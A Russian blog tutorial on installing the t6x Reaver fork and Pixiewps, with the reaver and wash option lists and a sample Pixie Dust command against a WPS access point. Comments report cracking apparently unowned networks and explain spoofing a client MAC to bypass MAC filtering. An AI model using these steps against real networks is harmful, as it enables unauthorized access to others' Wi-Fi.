Модификация форка Reaver — t6x — для использования атаки Pixie Dust

When poor design meets poor implementation.

Когда убогий дизайн встречается с убогой реализацией.

(это не про форки Reaver, это про WPS)

Обновление: Пользователям Kali Linux не нужно ставить эти программы вручную. Теперь всё это есть в системе «из коробки». Подробности читайте здесь.

Если у вас какие-либо проблемы с беспроводными устройствами, то следует ознакомиться со статьёй «Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры».

Что такое Reaver?

Reaver предназначен для подборки пина WPS (Wifi Protected Setup) методом перебора. Reaver создан для надёжной и практичной атаки на WPS, он прошёл тестирование на большом количестве точек доступа с разными реализациями WPS. В среднем, Reaver раскрывает пароль WPA/WPA2 в виде простого текста целевой точки доступа (ТД) за 4-10 часов, в зависимости от ТД. На практике, ему обычно нужна половина этого времени на предположение пина WPS и разгадки пароля.

Веб-сайт оригинальной версии — https://code.google.com/p/reaver-wps/. Там ещё есть Pro версия.

Форки Reaver

Т.к. оригинальная версия Reaver не обновлялась с января 2012 года, то был сделан форк. Сайт форка — https://code.google.com/p/reaver-wps-fork/. Последние изменения в форке датируются январём 2014 года.

Жизнь не стоит на месте. И совсем недавно (в апреле 2015 года) была официально выпущена модифицированная версия форка Reaver. Сайт этой модификации — https://github.com/t6x/reaver-wps-fork-t6x. Главное её отличие в том, что она может использовать атаку Pixie Dust для нахождения верного пина WPS. Эта атака применима ко многим точкам доступа Ralink, Broadcom и Realtek.

Атака, используемая для этой версии, разработана Wiire.

Для установки модифицированной версии Reaver, нам нужно установить Pixiewps. Это нужно сделать всем, кроме пользователей Kali Linux: расслабьтесь, ребята, у нас уже всё есть.

Установка Pixiewps на Kali Linux

Всё необходимые пакеты уже скопилированы и доступны в репозиториях. Для их установки достаточно набрать:

apt-get libpcap-dev pixiewps

Установка Pixiewps на Debian, Mint, Ubuntu

Ставим зависимости Pixiewps:

sudo apt-get install libssl-dev

Переходим на официальный сайт.

Скачиваем zip-архив — для этого нажимаем кнопку Download ZIP.

cd Downloads
unzip pixiewps-master.zip
cd pixiewps-master/src
make
gcc -std=c99 -o pixiewps pixiewps.c random_r.c -lssl -lcrypto 
make install

Вывод после последней команды

install -D pixiewps /usr/local/bin/pixiewps
install -m 755 pixiewps /usr/local/bin

Установка модификации форка Reaver — t6x на Kali Linux

Ещё раз повторю, у пользователей Kali Linux эта версия, а также все зависимости для этой программы идут «из коробки». Им не нужно ничего дополнительно устанавливать.

Установка модификации форка Reaver — t6x на Debian, Mint, Ubuntu

Установка необходимых библиотек и инструментов.

Библиотеки для Reaver

apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps

Если пакет Pixiewps by Wiire не найден, то вернитесь к предыдущему шагу, где описано как его установить. 

Компиляция и установка Reaver

Загрузка
git clone https://github.com/t6x/reaver-wps-fork-t6x
или
wget https://codeload.github.com/t6x/reaver-wps-fork-t6x/zip/master && unzip master.zip

Сборка
cd reaver-wps-fork-t6x*/
cd src/
./configure
make

Установка
sudo make install

Использование Reaver

Использованию Reaver будет посвящена отдельная статья, а пока только несколько основных моментов.

Запускается модифицированная версия Reaver точно также, как и форк. Чтобы убедиться, что модификация у вас успешно запустилась, наберите в командной строке

reaver -v
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Кроме версии, появится также и информация о модификации.

Обязательные аргументы:
        -i, --interface=<wlan>          Имя сетевого интерфейса для использования
        -b, --bssid=<mac>               BSSID точки доступа

Опциональные аргументы:
        -m, --mac=<mac>                 MAC хостовой системы
        -e, --essid=<ssid>              ESSID целевой ТД
        -c, --channel=<channel>         Установить канал 802.11 для интерфейса (подразумевает -f)
        -o, --out-file=<file>           Установить вывод в лог-файл [stdout]
        -s, --session=<file>            Восстановить файл предыдущей сессии
        -C, --exec=<command>            Выполнить данную команду после успешного подбора пина
        -D, --daemonize                 Перевод reaver в режим демона
        -a, --auto                      Автоматически определить лучшие продвинутые опции для целевой ТД
        -f, --fixed                     Отключить прыгание по каналам
        -5, --5ghz                      Использовать каналы 5GHz 802.11
        -v, --verbose                   Отображать некритические предупреждения (-vv чтобы увидеть больше)
        -q, --quiet                     Отображать только критические предупреждения
        -K  --pixie-dust=<номер>       [1] Запускает pixiewps с PKE, PKR, E-Hash1, E-Hash2, E-Nonce и Authkey (Ralink, Broadcom, Realtek)
        -Z, --no-auto-pass              НЕ запускать reaver для автоматического получения пароля WPA, если атака pixiewps прошла успешно
        -h, --help                      Показать справку

Продвинутые опции:
        -p, --pin=<wps pin>             Использовать заданный 4 или 8 цифровой WPS пин
        -d, --delay=<секунды>           Установить задержку между попытками пина [1]
        -l, --lock-delay=<seconds>      Установить время ожидания, если ТД заблокировала попытки вода пина [60]
        -g, --max-attempts=<номер>        Выйти после числа попыток пина
        -x, --fail-wait=<секунды>       Установить время для паузы после 10 неожиданных неудач [0]
        -r, --recurring-delay=<x:y>     Делать паузу на y секунд каждые x попыток пина
        -t, --timeout=<секунды>         Установить пиреод таймаута получения [5]
        -T, --m57-timeout=<секунды>     Установить период таймаута M5/M7 [0.20]
        -A, --no-associate              Не связываться с ТД (связь должна быть сделана другим приложением)
        -N, --no-nacks                  Не отправлять сообщения NACK когда получены пакеты о неисправности
        -S, --dh-small                  Использовать малые DH ключи для ускорения скорости взлома
        -L, --ignore-locks              Игнорировать заблокированные состояния, полученные от целевой ТД
        -E, --eap-terminate             Завершать каждую сессию WPS пакетом EAP FAIL
        -n, --nack                      Целевая ТД всегда шлёт пакеты NACK [Auto]
        -w, --win7                      Мимикрировать под Windows 7 registrar [False]
        -X, --exhaustive                Установить исчерпывающий режим с начала сессии [False]
        -1, --p1-index                  Установить начальный индекс массива для первой половины пина [False]
        -2, --p2-index                  Установить начальный индекс массива для второй половины пина [False]
        -P, --pixiedust-loop            Установка в режим PixieLoop (не отправляет M4 и делает петлю на M3) [False]
        -W, --generate-pin              Генерация дефолтных пинов от команды devttys0 [1] Belkin [2] D-Link
        -H, --pixiedust-log             Включить логирование последовательностей завершённых PixieHashes

Пример использования:

reaver -i mon0 -b 00:AA:BB:11:22:33 -vv -K 1

Опция -K // —pixie-dust в reaver

Опция -K 1 запускает pixiewps с PKE, PKR, E-Hash1, E-Hash2, E-Nonce и Authkey. pixiewps будет пытаться атаковать Ralink, Broadcom и Realtek.

*Особая заметка: если вы атакуете ТД Realtek, НЕ используйте маленькие ключи DH (-S)

Опция -H // —pixiedust-log в reaver

Опция -H — это переключатель включения логирования PixieHashes, сохранённые хеши будут размещены в директории запуска. Эта опция требует включения хотя бы -vvv, и, соответственно, работает с -K 1 & -P.

Имена сохранённых файлов соответствуют bssid (MAC) цели и имеют расширение .pixie. Внутри этих сохранённых логов вы найдёте все требуемые хеши PixieDust, а также готовые для копипасты полные команды для использованиях их в программе pixiewps. Также есть возможность выполнить их. Просто закиньте этот файл в ваш любимый шелл и выполните его (может понадобиться chmod +x <имя_файла>).

Оция -P // —pixiedust-loop в reaver

Опция (-P) в reaver переводит reaver в циклический режим, который не распространяется на сообщения M4 протокола WPS, которые, надеемся, избегают блокировки. Это распространяется ТОЛЬКО на сборы PixieHash, который используются с pixiewps, НЕ с «онлайн» брутфорсингом пинов.

Эта опция была сделана в целях:

  • Сбора повторяющихся хешей для дальнейших сравнений и анализов / изучения новых уязвимостей чипсетов, роутеров и т.д.
  • Атак чувствительных ко времени, где сбор хешей продолжается постоянно пока ваши временные рамки не закончатся.
  • Для целей скриптинга тех, кто хочет использовать возможный способ предотвращения блокировки PixieHash, ведущей сбор для вашего пользовательского сценария.

Использование Wash

Wash v1.5.2 WiFi Protected Setup Scan Tool

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212

Обязательные аргументы:
        -i, --interface=<iface>              Интерфейс для захвата пакетов
        -f, --file [FILE1 FILE2 FILE3 ...]   Читать пакеты из захваченных файлов

Опциональные аргументы:
        -c, --channel=<num>                  Канал для прослушивания [auto]
        -o, --out-file=<file>                Записать данные в файл
        -n, --probes=<num>                   Максимальное количество попыток отправки к каждоый ТД в режиме сканирования [15]
        -D, --daemonize                      Демонизация wash
        -C, --ignore-fcs                     Игнорировать ошибки проверки целостности фреймов
        -5, --5ghz                           Использовать каналы 5GHz 802.11
        -s, --scan                           Использовать режим сканирования
        -u, --survey                         Использовать режим опроса [default]
        -P, --file-output-piped              Позволяет стандартному выводу Wash передаваться другим программам. Пример. wash x|y|z...
        -g, --get-chipset                    Передача вывода и запуск reaver для определения чипсета
        -h, --help                           Показать справку

Пример:

wash -i mon0

Опция -g // —get-chipset

Опция -g программы wash автоматически запускает reaver для получения данных чипсета.

Если ТД не отвечает ему быстро, эта опция будет замедленна для отображения данных, т. к. reaver будет запущен пока не получит данные или пока вы не достигните лимита таймаута (30 секунд).

Пример работы с программой Reaver в реальных «полевых» условиях ждите в одной из ближайших статей.

36 комментариев

  1. Интересеая статья.
    Скажите, можно ли с помощью атаки пикси даст обойти или избегать блокировки впс?
    Не получается установить на бэктрэк 5.

    1. Вот список уязвимого оборудования. Т.е. при атаке на WPS иногда срабатывает, иногда нет.

      Странно, что не устанавливается:

      • Нужно скачать, скомпилировать, установить Pixiewps (ссылка и команды здесь есть)
      • Затем установить зависимости для форка (команда здесь есть)
      • Ну и скачать, скомпилировать, установить сам форк (тоже здесь всё написано)

      Напишите, на каком этапе и какая ошибка — могу завтра попробовать на Linux, где нет этих программ «из коробки», — но не на БэкТрэк — его уже даже с оф. сайта не скачать.

  2. Всё установилось и заработало, поставил другой бэктрэк 5.
    Удалось вскрыть три точки с плохим сигналом, на каждую ушло по 4сек, но вот из-за слабого сигнала смог подключиться только к одной, кажется зиксел кинетик 4G)
    Здесь можно генерировать дефолтные пины http://tools.securation.com/wdpg/ но вот верны ли они? Пока что удачно сгенерировать получилось только один.
    Начинаю замечать всё больше точек ELTEX, смогут ли поддаться для пикси даст? Проверить не получается, они заблокировались еще при атаки старым ривером)

    1. палностью поддерживаю вопрос. у меня тоже все сети заполонились точками ELTEX и заблокировались посе первой а некоторые и после второй атаки старым ривером . на б.т. сечас юзаю калли л. если какие нибудь способы обойти их?

      1. Неееполучается установить reaver-t6x . архив лежит на жеском диске .kalli linux я загужаюсь с флешки не пойму как правильно прикрутить..?
         

  3. при атаке с ключем — К 1 не которые сети пробивает,а вот был в другом месте там почти все сети после атаки пишет pin not found после я поставил ключ — S и начинает потихоньку перебирать,в чем проблема может быть подскажите,может роутер не уязвим или прошивка стоит,в чем подвох?

  4. в первом случае атака заканчивается и пишет pin not found но во втором останавливает, то есть как бы думает,а вот дальше не известно пробьет или нет,вот видео https://www.youtube.com/watch?v=4xZBpq6zy2U где в втором случае она пробивает,админ подскажи что означает такая ситуация,так как думать она может очень долго есть смыл ждать?сталкивался с таким?просто нет время на это сутки тратить чтоб понять

  5. Известно ли когда выйдет обновление пикси?
    Точки начинающинся на ROSTELECOM_, а также tp-link’и не поддаются пикси, пишет pin not found…

    1. Скорее всего обновление будет тогда, когда смогут понять алгоритм генерации кода PSK на других контроллерах, видимо Ваши точки построены на ещё не "поломаных" чипах.

  6. После установки pixievps пишет  instal -D pixievps /usp/bin/pixivps  и  instal -m755 pixievps /usr/bin/  то есть вроде все нормально. но когда начинаеш ставить библиотеки для reaver то пишет что не удалось найти пакет libpcap-dev и пакет pixievps что не так?

    1. Вы используете эту команду?

      apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps

      ​Эта команда только для Kali Linux. Для других ОС используйте:

      sudo apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng

      Пакет pixievps не удалось найти в репозиториях Вашей ОС — ничего страшного, в системе этот пакет уже установлен.

      Сложно понять, почему в репозитории отсутствует libpcap-dev. В Debian и в его производных (Ubuntu, Mint) эта библиотека должна быть.

      Какой у Вас дистрибутив? Попробуйте:

      apt-get update
      apt-cache search libpcap-dev
      
        1. После обновления ни чего не изменилось. на команду (apt-cache search libpcap-dev) ни как не реагирует. и еще я заметил разницу в примерах. и меня вывод такой..

          rm -f /usr/local/bin/pixiewps

          install -D /usr/bin/pixiewps

          install — 755 pixiewps /usr/bin/    то есть по пути /usr/local/bin/ ни чего нет. тогда может и команду для установки библиотек reaver нужно дргую ?

        2. На Kali НЕ НУЖНО скачивать и компилировать Pixiewps — это есть в тексте статьи.

          На Kali всё все необходимые зависимости ставятся одной командой, которая дана в тексте статьи:

          apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps

          Если какие-то пакеты не находятся в Kali, то нужно идти сюда «Проверка и восстановление репозиториев в Kali Linux из командной строки».

        3. Я исправил статью, которую мы комментируем, — там была каша (несколько раз вносили дополнения и изменения). Теперь всё должно быть понятнее.

          Но если пишет, что какие-то пакеты отсутствуют, то исправьте источники приложений, как написано в статье https://codeby.net/blogs/proverka-i-vosstanovlenie-repozitoriev-v-kali-linux-iz-komandnoj-stroki/

          1. Да действительно были проблемы с репозиториями . исправил обновился по новой и все. ни чего ставить не пришлось reaver обновился до 1.5.2   спасибо за ваши статьи.

          2. Подскажите пожалуйста, как мне, обновить Kali linux 1.1.0a НЕ переходя на kali 2.0, проблема в том что у меня на kali 2.0 reaver не перебирает пины, а на Kali linux 1.1.0a все отлично, но есть загвоздка что нету форка на reaver pixe dust, в  Kali linux 1.1.0 зеркало недоступно, соответственно и репозитории, а команда ***apt-get libpcap-dev pixiewps*** наработает нигде, может подскажете как поставить форк на Kali linux 1.1.0a.

  7. Зная пин можно изъять пароль от точки у которой включена фильтрация по мак-адресу?
    Если включена фильтрация, то для подключения нужно только подменить свой мак и просто подключиться не вводя пароль или пароль все таки придётся ввести?

    1. Меняете мак адрес у своего адаптера на тот который имеет любой из клиентов точки, ждёте когда он отключится, вбиваете в reaver известный вам пин wps, reaver вам сообщает пароль от точки доступа.

      Для подключения нужно подменить мак адрес вашего адаптера, ввести пароль если требуется и всё, одновременно может стоять и пароль и фильтрация по мак адресу. Потом идём в веб интерфейс точки доступа (если повезёт пароль и логин будут по умолчанию) и выключаем фильтрацию или добавляем свой мак в исключения.

      Лично у моего адаптера мак слетает сразу после его изменения, где-то читал что на некоторых устройствах нужно сохранять первую часть мака неизменной и менять только вторую.

  8. Обновил кали до версии 2.0  запустил ривер( версия  v1.5.2) с заведома известным пин кодом ,  т. е вбил сразу пин , (reaver -i wlan0mon -b  ХХ:ХХ:ХХ:ХХ:ХХ:ХХ -p ХХХХХХХХ -a -vv)и немного зашел в ступор))  ривер работал минут 10 так и не показал пароль…Предыдущая версия кали показывала пасс за пару секунд.Кто подскажет в чем дело

    1. Аналогичная проблема. Либо ошибку 0x02 или 0x03 выдает, либо ввобще ассоциироваться не может. Странно однако

      1. Спасибо за статью, но именно с reaver проблема. Монитор режим работает и airodump это подтверждает(

        1. Не, все ок. Просто ривер последней версии не все точки тянет. На других моделях заработал, притом достаточно шустро (благодаря -К 1 комментарию к комманде)

  9. С режимом монитора все впорядке… предпологаю что дело в поддержке драйверов  адаптера..

  10. Скажите пожалуйсто что я делаю не так:

    oleg@Aspire-One-721 ~/Загрузки $ cd pixiewps-master/src
    oleg@Aspire-One-721 ~/Загрузки/pixiewps-master/src $ make
    cc -std=c99 -O3 -Wno-deprecated-declarations -o pixiewps pixiewps.c random_r.c -lcrypto
    oleg@Aspire-One-721 ~/Загрузки/pixiewps-master/src $ gcc -std=c99 -o pixiewps pixiewps.c random_r.c -lssl -lcrypto
    /tmp/cc35ggtN.o: In function `main':
    pixiewps.c:(.text+0x1c46): undefined reference to `wps_pin_checksum'
    pixiewps.c:(.text+0x1f19): undefined reference to `wps_pin_valid'
    collect2: ld returned 1 exit status
    oleg@Aspire-One-721 ~/Загрузки/pixiewps-master/src $ make install
    rm -f /usr/local/bin/pixiewps
    install pixiewps /usr/bin/pixiewps
    install: cannot stat `pixiewps': No such file or directory
    make: *** [install] Error 1

    Установлен Linux Mint 13 Cinnamon 64. Вот эти пакеты установлены: build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng

  11. что за ерунда и какой kali linux надо ставить.

    root@kali:~# apt-get libpcap-dev pixiewps
    E: Invalid operation libpcap-dev

     

  12. У меня не работает эта команда. apt-get libpcap-dev pixiewps

    Подскажите какую кали надо скачать, чтобы при запуске там были уже установлены reaver, pixiewps, wash, airmon-ng.

    Я скачал кали лайт с офф сайта и при запуске эти программы не находятся. Помогите, пожалуйста, замучался с этой кали.

  13. Есть проблема, всё установлино отлично операционка Kali linux 2.0, адаптеры Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01), D-Link System DWA-110 Wireless G Adapter(rev.A1) [Ralink RT2571W], в режим мониторинга уходят хорошо, хандшейки ловят, точки глушат, но вот посностью отказывается работать wash и reaver, программы запускаются ошибок не выдают, но перебор не начинается и сканирование сетей тоже, соответственно, кто что-то знает по данному вопросу, за любую информацию буду благодарен.
     

  14. Что то не так с установкой, какую то команду не дописал, перед make в другую директорию перейти наверное надо вот только в какаю?
    Вот выход:
    root@localhost:~# git clone https://github.com/t6x/reaver-wps-fork-t6x
    Клонирование в «reaver-wps-fork-t6x»…
    remote: Counting objects: 1251, done.
    remote: Total 1251 (delta 0), reused 0 (delta 0), pack-reused 1251
    Получение объектов: 100% (1251/1251), 1.29 MiB | 91.00 KiB/s, готово.
    Определение изменений: 100% (680/680), готово.
    root@localhost:~# cd reaver-wps-fork-t6x*/
    root@localhost:~/reaver-wps-fork-t6x# cd src/
    root@localhost:~/reaver-wps-fork-t6x/src# ./configure
    checking for gcc… gcc
    checking whether the C compiler works… yes
    checking for C compiler default output file name… a.out
    checking for suffix of executables…
    checking whether we are cross compiling… no
    checking for suffix of object files… o
    checking whether we are using the GNU C compiler… yes
    checking whether gcc accepts -g… yes
    checking for gcc option to accept ISO C89… none needed
    checking for pcap_open_live in -lpcap… no
    error: pcap library not found!
    root@localhost:~/reaver-wps-fork-t6x/src# make
    make: *** Не заданы цели и не найден make-файл. Останов.
    root@localhost:~/reaver-wps-fork-t6x/src# make install
    make: *** Нет правила для сборки цели «install». Останов.

Оставить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *